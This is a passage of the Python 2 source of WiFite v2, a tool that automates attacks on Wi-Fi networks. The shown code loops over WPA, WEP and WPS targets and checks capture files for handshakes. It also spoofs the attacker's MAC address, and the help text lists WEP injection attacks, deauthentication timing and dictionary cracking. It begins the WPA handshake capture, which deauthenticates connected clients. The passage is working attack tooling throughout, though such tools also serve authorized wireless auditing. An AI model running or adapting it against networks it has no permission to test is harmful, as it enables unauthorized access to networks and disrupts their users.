  1258.         wpa_total   = 0
  1259.         wep_total   = 0
  1260.  
  1261.         self.RUN_CONFIG.TARGETS_REMAINING = len(targets)
  1262.         for t in targets:
  1263.             self.RUN_CONFIG.TARGETS_REMAINING -= 1
  1264.  
  1265.             # Build list of clients connected to target
  1266.             ts_clients = []
  1267.             for c in clients:
  1268.                 if c.station == t.bssid:
  1269.                     ts_clients.append(c)
  1270.  
  1271.             print ''
  1272.             if t.encryption.find('WPA') != -1:
  1273.                 need_handshake = True
  1274.                 if not self.RUN_CONFIG.WPS_DISABLE and t.wps:
  1275.                     wps_attack = WPSAttack(iface, t, self.RUN_CONFIG)
  1276.                     need_handshake = not wps_attack.RunAttack()
  1277.                     wpa_total += 1
  1278.  
  1279.                 if not need_handshake: wpa_success += 1
  1280.                 if self.RUN_CONFIG.TARGETS_REMAINING < 0: break
  1281.  
  1282.                 if not self.RUN_CONFIG.WPA_DISABLE and need_handshake:
  1283.                     wpa_total += 1
  1284.                     wpa_attack = WPAAttack(iface, t, ts_clients, self.RUN_CONFIG)
  1285.                     if wpa_attack.RunAttack():
  1286.                         wpa_success += 1
  1287.  
  1288.             elif t.encryption.find('WEP') != -1:
  1289.                 wep_total += 1
  1290.                 wep_attack = WEPAttack(iface, t, ts_clients, self.RUN_CONFIG)
  1291.                 if wep_attack.RunAttack():
  1292.                     wep_success += 1
  1293.  
  1294.             else: print R+' unknown encryption:',t.encryption,W
  1295.  
  1296.             # If user wants to stop attacking
  1297.             if self.RUN_CONFIG.TARGETS_REMAINING <= 0: break
  1298.  
  1299.         if wpa_total + wep_total > 0:
  1300.             # Attacks are done! Show results to user
  1301.             print ''
  1302.             print GR+' [+] %s%d attack%s completed:%s' % (G, wpa_total + wep_total, '' if wpa_total+wep_total == 1 else 's', W)
  1303.             print ''
  1304.             if wpa_total > 0:
  1305.                 if wpa_success == 0:           print GR+' [+]'+R,
  1306.                 elif wpa_success == wpa_total: print GR+' [+]'+G,
  1307.                 else:                          print GR+' [+]'+O,
  1308.                 print '%d/%d%s WPA attacks succeeded' % (wpa_success, wpa_total, W)
  1309.  
  1310.                 for finding in self.RUN_CONFIG.WPA_FINDINGS:
  1311.                     print '        ' + C+finding+W
  1312.  
  1313.             if wep_total > 0:
  1314.                 if wep_success == 0:           print GR+' [+]'+R,
  1315.                 elif wep_success == wep_total: print GR+' [+]'+G,
  1316.                 else:                          print GR+' [+]'+O,
  1317.                 print '%d/%d%s WEP attacks succeeded' % (wep_success, wep_total, W)
  1318.  
  1319.                 for finding in self.RUN_CONFIG.WEP_FINDINGS:
  1320.                     print '        ' + C+finding+W
  1321.  
  1322.             caps = len(self.RUN_CONFIG.WPA_CAPS_TO_CRACK)
  1323.             if caps > 0 and not self.RUN_CONFIG.WPA_DONT_CRACK:
  1324.                 print GR+' [+]'+W+' starting '+G+'WPA cracker'+W+' on %s%d handshake%s' % (G, caps, W if caps == 1 else 's'+W)
  1325.                 for cap in self.RUN_CONFIG.WPA_CAPS_TO_CRACK:
  1326.                     wpa_crack(cap)
  1327.  
  1328.         print ''
  1329.         self.RUN_CONFIG.exit_gracefully(0)
  1330.  
  1331.     def parse_csv(self, filename):
  1332.         """
  1333.            Parses given lines from airodump-ng CSV file.
  1334.            Returns tuple: List of targets and list of clients.
  1335.        """
  1336.         if not os.path.exists(filename): return ([], [])
  1337.         targets = []
  1338.         clients = []
  1339.         try:
  1340.             hit_clients = False
  1341.             with open(filename, 'rb') as csvfile:
  1342.                 targetreader = csv.reader((line.replace('\0','') for line in csvfile), delimiter=',')
  1343.                 for row in targetreader:
  1344.                     if len(row) < 2:
  1345.                         continue
  1346.                     if not hit_clients:
  1347.                         if len(row) < 14:
  1348.                             continue
  1349.                         if row[0].strip() == 'Station MAC':
  1350.                             hit_clients = True
  1351.                         if row[0].strip() == 'BSSID' or row[0].strip() == 'Station Mac': continue
  1352.                         enc = row[5].strip()
  1353.                         wps = False
  1354.                         if enc.find('WPA') == -1 and enc.find('WEP') == -1: continue
  1355.                         if self.RUN_CONFIG.WEP_DISABLE and enc.find('WEP') != -1: continue
  1356.                         if self.RUN_CONFIG.WPA_DISABLE and self.RUN_CONFIG.WPS_DISABLE and enc.find('WPA') != -1: continue
  1357.                         if enc == "WPA2WPA":
  1358.                             enc = "WPA2"
  1359.                             wps = True
  1360.                         power = int(row[8].strip())
  1361.  
  1362.                         ssid = row[13].strip()
  1363.                         ssidlen = int(row[12].strip())
  1364.                         ssid = ssid[:ssidlen]
  1365.  
  1366.                         if power < 0: power += 100
  1367.                         t = Target(row[0].strip(), power, row[10].strip(), row[3].strip(), enc, ssid)
  1368.                         t.wps = wps
  1369.                         targets.append(t)
  1370.                     else:
  1371.                         if len(row) < 6:
  1372.                             continue
  1373.                         bssid   = re.sub(r'[^a-zA-Z0-9:]', '', row[0].strip())
  1374.                         station = re.sub(r'[^a-zA-Z0-9:]', '', row[5].strip())
  1375.                         power   = row[3].strip()
  1376.                         if station != 'notassociated':
  1377.                             c = Client(bssid, station, power)
  1378.                             clients.append(c)
  1379.         except IOError as e:
  1380.             print "I/O error({0}): {1}".format(e.errno, e.strerror)
  1381.             return ([], [])
  1382.  
  1383.         return (targets, clients)
  1384.  
  1385.     def analyze_capfile(self, capfile):
  1386.         """
  1387.            Analyzes given capfile for handshakes using various programs.
  1388.            Prints results to console.
  1389.        """
  1390.         # we're not running an attack
  1391.         wpa_attack = WPAAttack(None, None, None)
  1392.  
  1393.         if self.RUN_CONFIG.TARGET_ESSID == '' and self.RUN_CONFIG.TARGET_BSSID == '':
  1394.             print R+' [!]'+O+' target ssid and bssid are required to check for handshakes'
  1395.             print R+' [!]'+O+' please enter essid (access point name) using -e <name>'
  1396.             print R+' [!]'+O+' and/or target bssid (mac address) using -b <mac>\n'
  1397.             # exit_gracefully(1)
  1398.  
  1399.         if self.UN_CONFIG.TARGET_BSSID == '':
  1400.             # Get the first BSSID found in tshark!
  1401.             self.RUN_CONFIG.TARGET_BSSID = get_bssid_from_cap(self.RUN_CONFIG.TARGET_ESSID, capfile)
  1402.             # if TARGET_BSSID.find('->') != -1: TARGET_BSSID == ''
  1403.             if self.RUN_CONFIG.TARGET_BSSID == '':
  1404.                 print R+' [!]'+O+' unable to guess BSSID from ESSID!'
  1405.             else:
  1406.                 print GR+' [+]'+W+' guessed bssid: %s' % (G+self.RUN_CONFIG.TARGET_BSSID+W)
  1407.  
  1408.         if self.RUN_CONFIG.TARGET_BSSID != '' and self.RUN_CONFIG.TARGET_ESSID == '':
  1409.             self.RUN_CONFIG.TARGET_ESSID = get_essid_from_cap(self.RUN_CONFIG.TARGET_BSSID, capfile)
  1410.  
  1411.         print GR+'\n [+]'+W+' checking for handshakes in %s' % (G+capfile+W)
  1412.  
  1413.         t = Target(self.RUN_CONFIG.TARGET_BSSID, '', '', '', 'WPA', self.RUN_CONFIG.TARGET_ESSID)
  1414.  
  1415.         if program_exists('pyrit'):
  1416.             result = wpa_attack.has_handshake_pyrit(t, capfile)
  1417.             print GR+' [+]'+W+'    '+G+'pyrit'+W+':\t\t\t %s' % (G+'found!'+W if result else O+'not found'+W)
  1418.         else: print R+' [!]'+O+' program not found: pyrit'
  1419.         if program_exists('cowpatty'):
  1420.             result = wpa_attack.has_handshake_cowpatty(t, capfile, nonstrict=True)
  1421.             print GR+' [+]'+W+'    '+G+'cowpatty'+W+' (nonstrict):\t %s' % (G+'found!'+W if result else O+'not found'+W)
  1422.             result = wpa_attack.has_handshake_cowpatty(t, capfile, nonstrict=False)
  1423.             print GR+' [+]'+W+'    '+G+'cowpatty'+W+' (strict):\t %s' % (G+'found!'+W if result else O+'not found'+W)
  1424.         else: print R+' [!]'+O+' program not found: cowpatty'
  1425.         if program_exists('tshark'):
  1426.             result = wpa_attack.has_handshake_tshark(t, capfile)
  1427.             print GR+' [+]'+W+'    '+G+'tshark'+W+':\t\t\t %s' % (G+'found!'+W if result else O+'not found'+W)
  1428.         else: print R+' [!]'+O+' program not found: tshark'
  1429.         if program_exists('aircrack-ng'):
  1430.             result = wpa_attack.has_handshake_aircrack(t, capfile)
  1431.             print GR+' [+]'+W+'    '+G+'aircrack-ng'+W+':\t\t %s' % (G+'found!'+W if result else O+'not found'+W)
  1432.         else: print R+' [!]'+O+' program not found: aircrack-ng'
  1433.  
  1434.         print ''
  1435.  
  1436.         self.RUN_CONFIG.exit_gracefully(0)
  1437.  
  1438. ##################
  1439. # MAIN FUNCTIONS #
  1440. ##################
  1441.  
  1442. ##############################################################
  1443. ### End Classes
  1444.  
  1445. def rename(old, new):
  1446.     """
  1447.        Renames file 'old' to 'new', works with separate partitions.
  1448.        Thanks to hannan.sadar
  1449.    """
  1450.     try:
  1451.         os.rename(old, new)
  1452.     except os.error, detail:
  1453.         if detail.errno == errno.EXDEV:
  1454.             try:
  1455.                 copy(old, new)
  1456.             except:
  1457.                 os.unlink(new)
  1458.                 raise
  1459.                 os.unlink(old)
  1460.         # if desired, deal with other errors
  1461.         else:
  1462.             raise
  1463.  
  1464. def banner(RUN_CONFIG):
  1465.     """
  1466.        Displays ASCII art of the highest caliber.
  1467.    """
  1468.     print ''
  1469.     print G+"  .;'                     `;,    "
  1470.     print G+" .;'  ,;'             `;,  `;,   "+W+"WiFite v2 (r" + str(RUN_CONFIG.REVISION) + ")"
  1471.     print G+".;'  ,;'  ,;'     `;,  `;,  `;,  "
  1472.     print G+"::   ::   :   "+GR+"( )"+G+"   :   ::   ::  "+GR+"automated wireless auditor"
  1473.     print G+"':.  ':.  ':. "+GR+"/_\\"+G+" ,:'  ,:'  ,:'  "
  1474.     print G+" ':.  ':.    "+GR+"/___\\"+G+"    ,:'  ,:'   "+GR+"designed for Linux"
  1475.     print G+"  ':.       "+GR+"/_____\\"+G+"      ,:'     "
  1476.     print G+"           "+GR+"/       \\"+G+"             "
  1477.     print W
  1478.  
  1479.  
  1480. def get_revision():
  1481.     """
  1482.        Gets latest revision # from the GitHub repository
  1483.        Returns : revision#
  1484.    """
  1485.     irev  =-1
  1486.  
  1487.     try:
  1488.         sock = urllib.urlopen('https://github.com/derv82/wifite/raw/master/wifite.py')
  1489.         page = sock.read()
  1490.     except IOError:
  1491.         return (-1, '', '')
  1492.  
  1493.     # get the revision
  1494.     start= page.find('REVISION = ')
  1495.     stop = page.find(";", start)
  1496.     if start != -1 and stop != -1:
  1497.         start += 11
  1498.         rev=page[start:stop]
  1499.         try:
  1500.             irev=int(rev)
  1501.         except ValueError:
  1502.             rev=rev.split('\n')[0]
  1503.             print R+'[+] invalid revision number: "'+rev+'"'
  1504.  
  1505.     return irev
  1506.  
  1507. def help():
  1508.     """
  1509.        Prints help screen
  1510.    """
  1511.  
  1512.     head    = W
  1513.     sw      = G
  1514.     var     = GR
  1515.     des     = W
  1516.     de      = G
  1517.  
  1518.     print head+'   COMMANDS'+W
  1519.     print sw+'\t-check '+var+'<file>\t'+des+'check capfile '+var+'<file>'+des+' for handshakes.'+W
  1520.     print sw+'\t-cracked    \t'+des+'display previously-cracked access points'+W
  1521.     print sw+'\t-recrack    \t'+des+'allow recracking of previously cracked access points'+W
  1522.     print ''
  1523.  
  1524.     print head+'   GLOBAL'+W
  1525.     print sw+'\t-all         \t'+des+'attack all targets.              '+de+'[off]'+W
  1526.     #print sw+'\t-pillage     \t'+des+'attack all targets in a looping fashion.'+de+'[off]'+W
  1527.     print sw+'\t-i '+var+'<iface>  \t'+des+'wireless interface for capturing '+de+'[auto]'+W
  1528.     print sw+'\t-mac         \t'+des+'anonymize mac address            '+de+'[off]'+W
  1529.     print sw+'\t-c '+var+'<channel>\t'+des+'channel to scan for targets      '+de+'[auto]'+W
  1530.     print sw+'\t-e '+var+'<essid>  \t'+des+'target a specific access point by ssid (name)  '+de+'[ask]'+W
  1531.     print sw+'\t-b '+var+'<bssid>  \t'+des+'target a specific access point by bssid (mac)  '+de+'[auto]'+W
  1532.     print sw+'\t-showb       \t'+des+'display target BSSIDs after scan               '+de+'[off]'+W
  1533.     print sw+'\t-pow '+var+'<db>   \t'+des+'attacks any targets with signal strenghth > '+var+'db '+de+'[0]'+W
  1534.     print sw+'\t-quiet       \t'+des+'do not print list of APs during scan           '+de+'[off]'+W
  1535.     print ''
  1536.  
  1537.     print head+'\n   WPA'+W
  1538.     print sw+'\t-wpa        \t'+des+'only target WPA networks (works with -wps -wep)   '+de+'[off]'+W
  1539.     print sw+'\t-wpat '+var+'<sec>   \t'+des+'time to wait for WPA attack to complete (seconds) '+de+'[500]'+W
  1540.     print sw+'\t-wpadt '+var+'<sec>  \t'+des+'time to wait between sending deauth packets (sec) '+de+'[10]'+W
  1541.     print sw+'\t-strip      \t'+des+'strip handshake using tshark or pyrit             '+de+'[off]'+W
  1542.     print sw+'\t-crack '+var+'<dic>\t'+des+'crack WPA handshakes using '+var+'<dic>'+des+' wordlist file    '+de+'[off]'+W
  1543.     print sw+'\t-dict '+var+'<file>\t'+des+'specify dictionary to use when cracking WPA '+de+'[phpbb.txt]'+W
  1544.     print sw+'\t-aircrack   \t'+des+'verify handshake using aircrack '+de+'[on]'+W
  1545.     print sw+'\t-pyrit      \t'+des+'verify handshake using pyrit    '+de+'[off]'+W
  1546.     print sw+'\t-tshark     \t'+des+'verify handshake using tshark   '+de+'[on]'+W
  1547.     print sw+'\t-cowpatty   \t'+des+'verify handshake using cowpatty '+de+'[off]'+W
  1548.  
  1549.     print head+'\n   WEP'+W
  1550.     print sw+'\t-wep        \t'+des+'only target WEP networks '+de+'[off]'+W
  1551.     print sw+'\t-pps '+var+'<num>  \t'+des+'set the number of packets per second to inject '+de+'[600]'+W
  1552.     print sw+'\t-wept '+var+'<sec> \t'+des+'sec to wait for each attack, 0 implies endless '+de+'[600]'+W
  1553.     print sw+'\t-chopchop   \t'+des+'use chopchop attack      '+de+'[on]'+W
  1554.     print sw+'\t-arpreplay  \t'+des+'use arpreplay attack     '+de+'[on]'+W
  1555.     print sw+'\t-fragment   \t'+des+'use fragmentation attack '+de+'[on]'+W
  1556.     print sw+'\t-caffelatte \t'+des+'use caffe-latte attack   '+de+'[on]'+W
  1557.     print sw+'\t-p0841      \t'+des+'use -p0841 attack        '+de+'[on]'+W
  1558.     print sw+'\t-hirte      \t'+des+'use hirte (cfrag) attack '+de+'[on]'+W
  1559.     print sw+'\t-nofakeauth \t'+des+'stop attack if fake authentication fails    '+de+'[off]'+W
  1560.     print sw+'\t-wepca '+GR+'<n>  \t'+des+'start cracking when number of ivs surpass n '+de+'[10000]'+W
  1561.     print sw+'\t-wepsave    \t'+des+'save a copy of .cap files to this directory '+de+'[off]'+W
  1562.  
  1563.     print head+'\n   WPS'+W
  1564.     print sw+'\t-wps       \t'+des+'only target WPS networks         '+de+'[off]'+W
  1565.     print sw+'\t-wpst '+var+'<sec>  \t'+des+'max wait for new retry before giving up (0: never)  '+de+'[660]'+W
  1566.     print sw+'\t-wpsratio '+var+'<per>\t'+des+'min ratio of successful PIN attempts/total tries    '+de+'[0]'+W
  1567.     print sw+'\t-wpsretry '+var+'<num>\t'+des+'max number of retries for same PIN before giving up '+de+'[0]'+W
  1568.  
  1569.     print head+'\n   EXAMPLE'+W
  1570.     print sw+'\t./wifite.py '+W+'-wps -wep -c 6 -pps 600'+W
  1571.     print ''
  1572.  
  1573. ###########################
  1574. # WIRELESS CARD FUNCTIONS #
  1575. ###########################
  1576.  
  1577.  
  1578.  
  1579.  
  1580. ######################
  1581. # SCANNING FUNCTIONS #
  1582. ######################
  1583.  
  1584.  
  1585.  
  1586.  
  1587.  
  1588. def wps_check_targets(targets, cap_file, verbose=True):
  1589.     """
  1590.        Uses reaver's "walsh" (or wash) program to check access points in cap_file
  1591.        for WPS functionality. Sets "wps" field of targets that match to True.
  1592.    """
  1593.     global RUN_CONFIG
  1594.  
  1595.     if not program_exists('walsh') and not program_exists('wash'):
  1596.         RUN_CONFIG.WPS_DISABLE = True # Tell 'scan' we were unable to execute walsh
  1597.         return
  1598.     program_name = 'walsh' if program_exists('walsh') else 'wash'
  1599.  
  1600.     if len(targets) == 0 or not os.path.exists(cap_file): return
  1601.     if verbose:
  1602.         print GR+' [+]'+W+' checking for '+G+'WPS compatibility'+W+'...',
  1603.         stdout.flush()
  1604.  
  1605.     cmd = [program_name,
  1606.            '-f', cap_file,
  1607.            '-C'] # ignore Frame Check Sum errors
  1608.     proc_walsh = Popen(cmd, stdout=PIPE, stderr=DN)
  1609.     proc_walsh.wait()
  1610.     for line in proc_walsh.communicate()[0].split('\n'):
  1611.         if line.strip() == '' or line.startswith('Scanning for'): continue
  1612.         bssid = line.split(' ')[0]
  1613.  
  1614.         for t in targets:
  1615.             if t.bssid.lower() == bssid.lower():
  1616.                 t.wps = True
  1617.     if verbose:
  1618.         print 'done'
  1619.     removed = 0
  1620.     if not RUN_CONFIG.WPS_DISABLE and RUN_CONFIG.WPA_DISABLE:
  1621.         i = 0
  1622.         while i < len(targets):
  1623.             if not targets[i].wps and targets[i].encryption.find('WPA') != -1:
  1624.                 removed += 1
  1625.                 targets.pop(i)
  1626.             else: i += 1
  1627.         if removed > 0 and verbose: print GR+' [+]'+O+' removed %d non-WPS-enabled targets%s' % (removed, W)
  1628.  
  1629.  
  1630.  
  1631. def print_and_exec(cmd):
  1632.     """
  1633.        Prints and executes command "cmd". Also waits half a second
  1634.        Used by rtl8187_fix (for prettiness)
  1635.    """
  1636.     print '\r                                                        \r',
  1637.     stdout.flush()
  1638.     print O+' [!] '+W+'executing: '+O+' '.join(cmd) + W,
  1639.     stdout.flush()
  1640.     call(cmd, stdout=DN, stderr=DN)
  1641.     time.sleep(0.1)
  1642.  
  1643. ####################
  1644. # HELPER FUNCTIONS #
  1645. ####################
  1646.  
  1647. def remove_airodump_files(prefix):
  1648.     """
  1649.        Removes airodump output files for whatever file prefix ('wpa', 'wep', etc)
  1650.        Used by wpa_get_handshake() and attack_wep()
  1651.    """
  1652.     global RUN_CONFIG
  1653.     remove_file(prefix + '-01.cap')
  1654.     remove_file(prefix + '-01.csv')
  1655.     remove_file(prefix + '-01.kismet.csv')
  1656.     remove_file(prefix + '-01.kismet.netxml')
  1657.     for filename in os.listdir(RUN_CONFIG.temp):
  1658.         if filename.lower().endswith('.xor'): remove_file(RUN_CONFIG.temp + filename)
  1659.     for filename in os.listdir('.'):
  1660.         if filename.startswith('replay_') and filename.endswith('.cap'):
  1661.             remove_file(filename)
  1662.         if filename.endswith('.xor'): remove_file(filename)
  1663.     # Remove .cap's from previous attack sessions
  1664.     """i = 2
  1665.    while os.path.exists(temp + 'wep-' + str(i) + '.cap'):
  1666.        os.remove(temp + 'wep-' + str(i) + '.cap')
  1667.        i += 1
  1668.    """
  1669.  
  1670. def remove_file(filename):
  1671.     """
  1672.        Attempts to remove a file. Does not throw error if file is not found.
  1673.    """
  1674.     try: os.remove(filename)
  1675.     except OSError: pass
  1676.  
  1677. def program_exists(program):
  1678.     """
  1679.        Uses 'which' (linux command) to check if a program is installed.
  1680.    """
  1681.  
  1682.     proc = Popen(['which', program], stdout=PIPE, stderr=PIPE)
  1683.     txt = proc.communicate()
  1684.     if txt[0].strip() == '' and txt[1].strip() == '':
  1685.         return False
  1686.     if txt[0].strip() != '' and txt[1].strip() == '':
  1687.         return True
  1688.  
  1689.     return not (txt[1].strip() == '' or txt[1].find('no %s in' % program) != -1)
  1690.  
  1691. def sec_to_hms(sec):
  1692.     """
  1693.        Converts integer sec to h:mm:ss format
  1694.    """
  1695.     if sec <= -1: return '[endless]'
  1696.     h = sec / 3600
  1697.     sec %= 3600
  1698.     m  = sec / 60
  1699.     sec %= 60
  1700.     return '[%d:%02d:%02d]' % (h, m, sec)
  1701.  
  1702. def send_interrupt(process):
  1703.     """
  1704.        Sends interrupt signal to process's PID.
  1705.    """
  1706.     try:
  1707.         os.kill(process.pid, SIGINT)
  1708.         # os.kill(process.pid, SIGTERM)
  1709.     except OSError: pass           # process cannot be killed
  1710.     except TypeError: pass         # pid is incorrect type
  1711.     except UnboundLocalError: pass # 'process' is not defined
  1712.     except AttributeError: pass    # Trying to kill "None"
  1713.  
  1714. def get_mac_address(iface):
  1715.     """
  1716.        Returns MAC address of "iface".
  1717.    """
  1718.     proc = Popen(['ifconfig', iface], stdout=PIPE, stderr=DN)
  1719.     proc.wait()
  1720.     mac = ''
  1721.     first_line = proc.communicate()[0].split('\n')[0]
  1722.     for word in first_line.split(' '):
  1723.         if word != '': mac = word
  1724.     if mac.find('-') != -1: mac = mac.replace('-', ':')
  1725.     if len(mac) > 17: mac = mac[0:17]
  1726.     return mac
  1727.  
  1728. def generate_random_mac(old_mac):
  1729.     """
  1730.        Generates a random MAC address.
  1731.        Keeps the same vender (first 6 chars) of the old MAC address (old_mac).
  1732.        Returns string in format old_mac[0:9] + :XX:XX:XX where X is random hex
  1733.    """
  1734.     random.seed()
  1735.     new_mac = old_mac[:8].lower().replace('-', ':')
  1736.     for i in xrange(0, 6):
  1737.         if i % 2 == 0: new_mac += ':'
  1738.         new_mac += '0123456789abcdef'[random.randint(0,15)]
  1739.  
  1740.     # Prevent generating the same MAC address via recursion.
  1741.     if new_mac == old_mac:
  1742.         new_mac = generate_random_mac(old_mac)
  1743.     return new_mac
  1744.  
  1745. def mac_anonymize(iface):
  1746.     """
  1747.        Changes MAC address of 'iface' to a random MAC.
  1748.        Only randomizes the last 6 digits of the MAC, so the vender says the same.
  1749.        Stores old MAC address and the interface in ORIGINAL_IFACE_MAC
  1750.    """
  1751.     global RUN_CONFIG
  1752.     if RUN_CONFIG.DO_NOT_CHANGE_MAC: return
  1753.     if not program_exists('ifconfig'): return
  1754.  
  1755.     # Store old (current) MAC address
  1756.     proc = Popen(['ifconfig', iface], stdout=PIPE, stderr=DN)
  1757.     proc.wait()
  1758.     for word in proc.communicate()[0].split('\n')[0].split(' '):
  1759.         if word != '': old_mac = word
  1760.     RUN_CONFIG.ORIGINAL_IFACE_MAC = (iface, old_mac)
  1761.  
  1762.     new_mac = generate_random_mac(old_mac)
  1763.  
  1764.     call(['ifconfig', iface, 'down'])
  1765.  
  1766.     print GR+" [+]"+W+" changing %s's MAC from %s to %s..." % (G+iface+W, G+old_mac+W, O+new_mac+W),
  1767.     stdout.flush()
  1768.  
  1769.     proc = Popen(['ifconfig', iface, 'hw', 'ether', new_mac], stdout=PIPE, stderr=DN)
  1770.     proc.wait()
  1771.     call(['ifconfig', iface, 'up'], stdout=DN, stderr=DN)
  1772.     print 'done'
  1773.  
  1774. def mac_change_back():
  1775.     """
  1776.        Changes MAC address back to what it was before attacks began.
  1777.    """
  1778.     global RUN_CONFIG
  1779.     iface = RUN_CONFIG.ORIGINAL_IFACE_MAC[0]
  1780.     old_mac = RUN_CONFIG.ORIGINAL_IFACE_MAC[1]
  1781.     if iface == '' or old_mac == '': return
  1782.  
  1783.     print GR+" [+]"+W+" changing %s's mac back to %s..." % (G+iface+W, G+old_mac+W),
  1784.     stdout.flush()
  1785.  
  1786.     call(['ifconfig', iface, 'down'], stdout=DN, stderr=DN)
  1787.     proc = Popen(['ifconfig', iface, 'hw', 'ether', old_mac], stdout=PIPE, stderr=DN)
  1788.     proc.wait()
  1789.     call(['ifconfig', iface, 'up'], stdout=DN, stderr=DN)
  1790.     print "done"
  1791.  
  1792.  
  1793.  
  1794. def get_essid_from_cap(bssid, capfile):
  1795.     """
  1796.        Attempts to get ESSID from cap file using BSSID as reference.
  1797.        Returns '' if not found.
  1798.    """
  1799.     if not program_exists('tshark'): return ''
  1800.  
  1801.     cmd = ['tshark',
  1802.            '-r', capfile,
  1803.            '-R', 'wlan.fc.type_subtype == 0x05 && wlan.sa == %s' % bssid,
  1804.            '-n']
  1805.     proc = Popen(cmd, stdout=PIPE, stderr=DN)
  1806.     proc.wait()
  1807.     for line in proc.communicate()[0].split('\n'):
  1808.         if line.find('SSID=') != -1:
  1809.             essid = line[line.find('SSID=')+5:]
  1810.             print GR+' [+]'+W+' guessed essid: %s' % (G+essid+W)
  1811.             return essid
  1812.     print R+' [!]'+O+' unable to guess essid!'+W
  1813.     return ''
  1814.  
  1815. def get_bssid_from_cap(essid, capfile):
  1816.     """
  1817.        Returns first BSSID of access point found in cap file.
  1818.        This is not accurate at all, but it's a good guess.
  1819.        Returns '' if not found.
  1820.    """
  1821.     global RUN_CONFIG
  1822.  
  1823.     if not program_exists('tshark'): return ''
  1824.  
  1825. # Attempt to get BSSID based on ESSID
  1826.     if essid != '':
  1827.         cmd = ['tshark',
  1828.                '-r', capfile,
  1829.                '-R', 'wlan_mgt.ssid == "%s" && wlan.fc.type_subtype == 0x05' % (essid),
  1830.                '-n',            # Do not resolve MAC vendor names
  1831.                '-T', 'fields',  # Only display certain fields
  1832.                '-e', 'wlan.sa'] # souce MAC address
  1833.         proc = Popen(cmd, stdout=PIPE, stderr=DN)
  1834.         proc.wait()
  1835.         bssid = proc.communicate()[0].split('\n')[0]
  1836.         if bssid != '': return bssid
  1837.  
  1838.     cmd = ['tshark',
  1839.            '-r', capfile,
  1840.            '-R', 'eapol',
  1841.            '-n']
  1842.     proc = Popen(cmd, stdout=PIPE, stderr=DN)
  1843.     proc.wait()
  1844.     for line in proc.communicate()[0].split('\n'):
  1845.         if line.endswith('Key (msg 1/4)') or line.endswith('Key (msg 3/4)'):
  1846.             while line.startswith(' ') or line.startswith('\t'): line = line[1:]
  1847.             line = line.replace('\t', ' ')
  1848.             while line.find('  ') != -1: line = line.replace('  ', ' ')
  1849.             return line.split(' ')[2]
  1850.         elif line.endswith('Key (msg 2/4)') or line.endswith('Key (msg 4/4)'):
  1851.             while line.startswith(' ') or line.startswith('\t'): line = line[1:]
  1852.             line = line.replace('\t', ' ')
  1853.             while line.find('  ') != -1: line = line.replace('  ', ' ')
  1854.             return line.split(' ')[4]
  1855.     return ''
  1856.  
  1857. def attack_interrupted_prompt():
  1858.     """
  1859.        Promps user to decide if they want to exit,
  1860.        skip to cracking WPA handshakes,
  1861.        or continue attacking the remaining targets (if applicable).
  1862.        returns True if user chose to exit complete, False otherwise
  1863.    """
  1864.     global RUN_CONFIG
  1865.     should_we_exit = False
  1866.     # If there are more targets to attack, ask what to do next
  1867.     if RUN_CONFIG.TARGETS_REMAINING > 0:
  1868.         options = ''
  1869.         print GR+"\n [+] %s%d%s target%s remain%s" % (G, RUN_CONFIG.TARGETS_REMAINING, W,
  1870.                                 '' if RUN_CONFIG.TARGETS_REMAINING == 1 else 's',
  1871.                                 's' if RUN_CONFIG.TARGETS_REMAINING == 1 else '')
  1872.         print GR+" [+]"+W+" what do you want to do?"
  1873.         options += G+'c'+W
  1874.         print G+"     [c]ontinue"+W+" attacking targets"
  1875.  
  1876.         if len(RUN_CONFIG.WPA_CAPS_TO_CRACK) > 0:
  1877.             options += W+', '+O+'s'+W
  1878.             print O+"     [s]kip"+W+" to cracking WPA cap files"
  1879.         options += W+', or '+R+'e'+W
  1880.         print R+"     [e]xit"+W+" completely"
  1881.         ri = ''
  1882.         while ri != 'c' and ri != 's' and ri != 'e':
  1883.             ri = raw_input(GR+' [+]'+W+' please make a selection (%s): ' % options)
  1884.  
  1885.         if ri == 's':
  1886.             RUN_CONFIG.TARGETS_REMAINING = -1 # Tells start() to ignore other targets, skip to cracking
  1887.         elif ri == 'e':
  1888.             should_we_exit = True
  1889.     return should_we_exit
  1890.  
  1891. #
  1892. # Abstract base class for attacks.
  1893. # Attacks are required to implement the following methods:
  1894. #       RunAttack - Initializes the attack
  1895. #       EndAttack - Cleanly ends the attack
  1896. #
  1897. class Attack(object):
  1898.     __metaclass__ = abc.ABCMeta
  1899.     @abc.abstractmethod
  1900.     def RunAttack(self):
  1901.         raise NotImplementedError()
  1902.     @abc.abstractmethod
  1903.     def EndAttack(self):
  1904.         raise NotImplementedError()
  1905.  
  1906. #################
  1907. # WPA FUNCTIONS #
  1908. #################
  1909. class WPAAttack(Attack):
  1910.     def __init__(self, iface, target, clients, config):
  1911.         self.iface = iface
  1912.         self.clients = clients
  1913.         self.target = target
  1914.         self.RUN_CONFIG = config
  1915.  
  1916.     def RunAttack(self):
  1917.         '''
  1918.            Abstract method for initializing the WPA attack
  1919.        '''
  1920.         self.wpa_get_handshake()
  1921.  
  1922.     def EndAttack(self):
  1923.         '''
  1924.            Abstract method for ending the WPA attack
  1925.        '''
  1926.         pass
  1927.  
  1928.     def wpa_get_handshake(self):
  1929.         """
  1930.            Opens an airodump capture on the target, dumping to a file.
  1931.            During the capture, sends deauthentication packets to the target both as
  1932.            general deauthentication packets and specific packets aimed at connected clients.
  1933.            Waits until a handshake is captured.
  1934.                "iface"   - interface to capture on
  1935.                "target"  - Target object containing info on access point
  1936.                "clients" - List of Client objects associated with the target
  1937.            Returns True if handshake was found, False otherwise
  1938.        """
  1939.  
  1940.         if self.RUN_CONFIG.WPA_ATTACK_TIMEOUT <= 0: self.RUN_CONFIG.WPA_ATTACK_TIMEOUT = -1
  1941.  
  1942.         # Generate the filename to save the .cap file as <SSID>_aa-bb-cc-dd-ee-ff.cap
  1943.         save_as = self.RUN_CONFIG.WPA_HANDSHAKE_DIR + os.sep + re.sub(r'[^a-zA-Z0-9]', '', self.target.ssid) \
  1944.               + '_' + self.target.bssid.replace(':', '-') + '.cap'
  1945.  
  1946.         # Check if we already have a handshake for this SSID... If we do, generate a new filename
  1947.         save_index = 0
  1948.         while os.path.exists(save_as):
  1949.             save_index += 1
  1950.             save_as = self.RUN_CONFIG.WPA_HANDSHAKE_DIR + os.sep + re.sub(r'[^a-zA-Z0-9]', '', self.target.ssid) \
  1951.                              + '_' + self.target.bssid.replace(':', '-') \
  1952.                              + '_' + str(save_index) + '.cap'
  1953.  
  1954.         # Remove previous airodump output files (if needed)
  1955.         remove_airodump_files(self.RUN_CONFIG.temp + 'wpa')
  1956.  
